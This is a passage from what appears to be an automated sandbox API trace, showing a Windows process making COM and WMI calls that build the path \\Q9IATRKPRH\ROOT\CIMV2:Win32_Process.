pType=0x1b2fd9e0*=0, plFlavor=0x1b2fd9d8*=0 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0089.479] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0089.479] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0089.479] IWbemClassObject:Get (in: This=0x11ee670, wszName="__NAMESPACE", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0089.479] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0089.480] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0089.480] IWbemClassObject:Get (in: This=0x11ee670, wszName="__CLASS", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0089.480] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0089.480] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0089.480] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0089.480] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0089.480] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0089.480] IUnknown:Release (This=0x111f638) returned 0x1 [0089.482] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1c001400) returned 0x0 [0089.482] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c001400, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0089.482] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c001400, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bea0470) returned 0x0 [0089.482] WbemDefPath:IUnknown:Release (This=0x1c001400) returned 0x0 [0089.482] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0470, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bea0470) returned 0x0 [0089.482] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0470, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0089.483] WbemDefPath:IUnknown:AddRef (This=0x1bea0470) returned 0x3 [0089.483] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0470, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0089.483] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0470, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0089.483] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0470, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1c001440) returned 0x0 [0089.483] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c001440, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0089.483] WbemDefPath:IUnknown:Release (This=0x1c001440) returned 0x3 [0089.483] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0089.483] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0089.483] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0470, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0089.483] WbemDefPath:IUnknown:Release (This=0x1bea0470) returned 0x2 [0089.483] WbemDefPath:IUnknown:Release (This=0x1bea0470) returned 0x1 [0089.483] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0089.483] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0089.483] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0470, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bea0470) returned 0x0 [0089.483] WbemDefPath:IUnknown:AddRef (This=0x1bea0470) returned 0x3 [0089.483] WbemDefPath:IUnknown:Release (This=0x1bea0470) returned 0x2 [0089.483] WbemDefPath:IWbemPath:SetText (This=0x1bea0470, uMode=0x4, pszPath="") returned 0x0 [0089.483] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0089.483] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0089.483] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0089.483] IUnknown:Release (This=0x111f638) returned 0x1 [0089.485] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1c001400) returned 0x0 [0089.485] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c001400, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0089.485] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c001400, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bea03b0) returned 0x0 [0089.485] WbemDefPath:IUnknown:Release (This=0x1c001400) returned 0x0 [0089.485] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea03b0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bea03b0) returned 0x0 [0089.485] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea03b0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0089.486] WbemDefPath:IUnknown:AddRef (This=0x1bea03b0) returned 0x3 [0089.486] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea03b0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0089.486] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea03b0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0089.486] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea03b0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1c001380) returned 0x0 [0089.486] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c001380, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0089.486] WbemDefPath:IUnknown:Release (This=0x1c001380) returned 0x3 [0089.486] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0089.486] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0089.486] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea03b0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0089.486] WbemDefPath:IUnknown:Release (This=0x1bea03b0) returned 0x2 [0089.486] WbemDefPath:IUnknown:Release (This=0x1bea03b0) returned 0x1 [0089.486] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0089.486] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0089.486] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea03b0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bea03b0) returned 0x0 [0089.486] WbemDefPath:IUnknown:AddRef (This=0x1bea03b0) returned 0x3 [0089.486] WbemDefPath:IUnknown:Release (This=0x1bea03b0) returned 0x2 [0089.486] WbemDefPath:IWbemPath:SetText (This=0x1bea03b0, uMode=0x4, pszPath="") returned 0x0 [0089.486] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea03b0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0089.486] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0470, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0089.486] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bea03b0, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0089.486] WbemDefPath:IWbemPath:GetServer (in: This=0x1bea03b0, puNameBufLength=0x1b2fd928*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd928*=0x0, pName=0x0) returned 0x80041009 [0089.486] WbemDefPath:IWbemPath:SetServer (This=0x1bea03b0, Name="Q9IATRKPRH") returned 0x0 [0089.487] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0089.487] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0089.487] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0089.487] IUnknown:Release (This=0x111f638) returned 0x1 [0089.488] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1c001340) returned 0x0 [0089.488] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c001340, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0089.488] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c001340, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bea0170) returned 0x0 [0089.488] WbemDefPath:IUnknown:Release (This=0x1c001340) returned 0x0 [0089.488] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0170, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bea0170) returned 0x0 [0089.489] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0170, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0089.489] WbemDefPath:IUnknown:AddRef (This=0x1bea0170) returned 0x3 [0089.489] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0170, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0089.489] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0170, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0089.489] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0170, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1c0015e0) returned 0x0 [0089.489] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c0015e0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0089.489] WbemDefPath:IUnknown:Release (This=0x1c0015e0) returned 0x3 [0089.489] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0089.489] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0089.489] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0170, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0089.489] WbemDefPath:IUnknown:Release (This=0x1bea0170) returned 0x2 [0089.513] WbemDefPath:IUnknown:Release (This=0x1bea0170) returned 0x1 [0089.513] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0089.513] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0089.513] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0170, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bea0170) returned 0x0 [0089.513] WbemDefPath:IUnknown:AddRef (This=0x1bea0170) returned 0x3 [0089.513] WbemDefPath:IUnknown:Release (This=0x1bea0170) returned 0x2 [0089.513] WbemDefPath:IWbemPath:SetText (This=0x1bea0170, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0089.513] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea03b0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0089.513] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0170, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0089.513] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0170, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0089.513] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0170, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0089.513] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bea03b0) returned 0x0 [0089.513] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0170, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0089.514] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea0170, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0089.514] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea0170, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="ROOT") returned 0x0 [0089.514] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bea03b0, uIndex=0x0, pszName="ROOT") returned 0x0 [0089.514] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea0170, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0089.514] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea0170, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="CIMV2") returned 0x0 [0089.514] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bea03b0, uIndex=0x1, pszName="CIMV2") returned 0x0 [0089.514] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bea03b0, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0089.514] WbemDefPath:IWbemPath:SetClassName (This=0x1bea03b0, Name="Win32_Process") returned 0x0 [0089.514] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bea03b0, uRequestedInfo=0x0, puResponse=0x1b2fda08 | out: puResponse=0x1b2fda08*=0x20c16) returned 0x0 [0089.514] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea03b0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0089.514] WbemDefPath:IWbemPath:GetText (in: This=0x1bea03b0, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x26, pszText=0x0) returned 0x0 [0089.514] WbemDefPath:IWbemPath:GetText (in: This=0x1bea03b0, lFlags=4, puBuffLength=0x1b2fd958*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0089.514] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bea03b0, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0x20c16) returned 0x0 [0089.514] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea03b0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0089.514] WbemDefPath:IWbemPath:GetText (in: This=0x1bea03b0, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x18, pszText=0x0) returned 0x0 [0089.514] WbemDefPath:IWbemPath:GetText (in: This=0x1bea03b0, lFlags=8, puBuffLength=0x1b2fd958*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0089.514] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea05f0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0089.514] WbemDefPath:IWbemPath:GetText (in: This=0x1bea05f0, lFlags=16, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xb, pszText=0x0) returned 0x0 [0089.514] WbemDefPath:IWbemPath:GetText (in: This=0x1bea05f0, lFlags=16, puBuffLength=0x1b2fd958*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd958*=0xb, pszText="root\\cimv2") returned 0x0 [0089.514] WbemDefPath:IWbemPath:GetText (in: This=0x1bea03b0, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0089.514] WbemDefPath:IWbemPath:GetText (in: This=0x1bea03b0, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0089.514] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8b8 | out: ppv=0x1b2fd8b8*=0x111f638) returned 0x0 [0089.515] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8a8 | out: pAptType=0x1b2fd8a8*=1) returned 0x0 [0089.515] 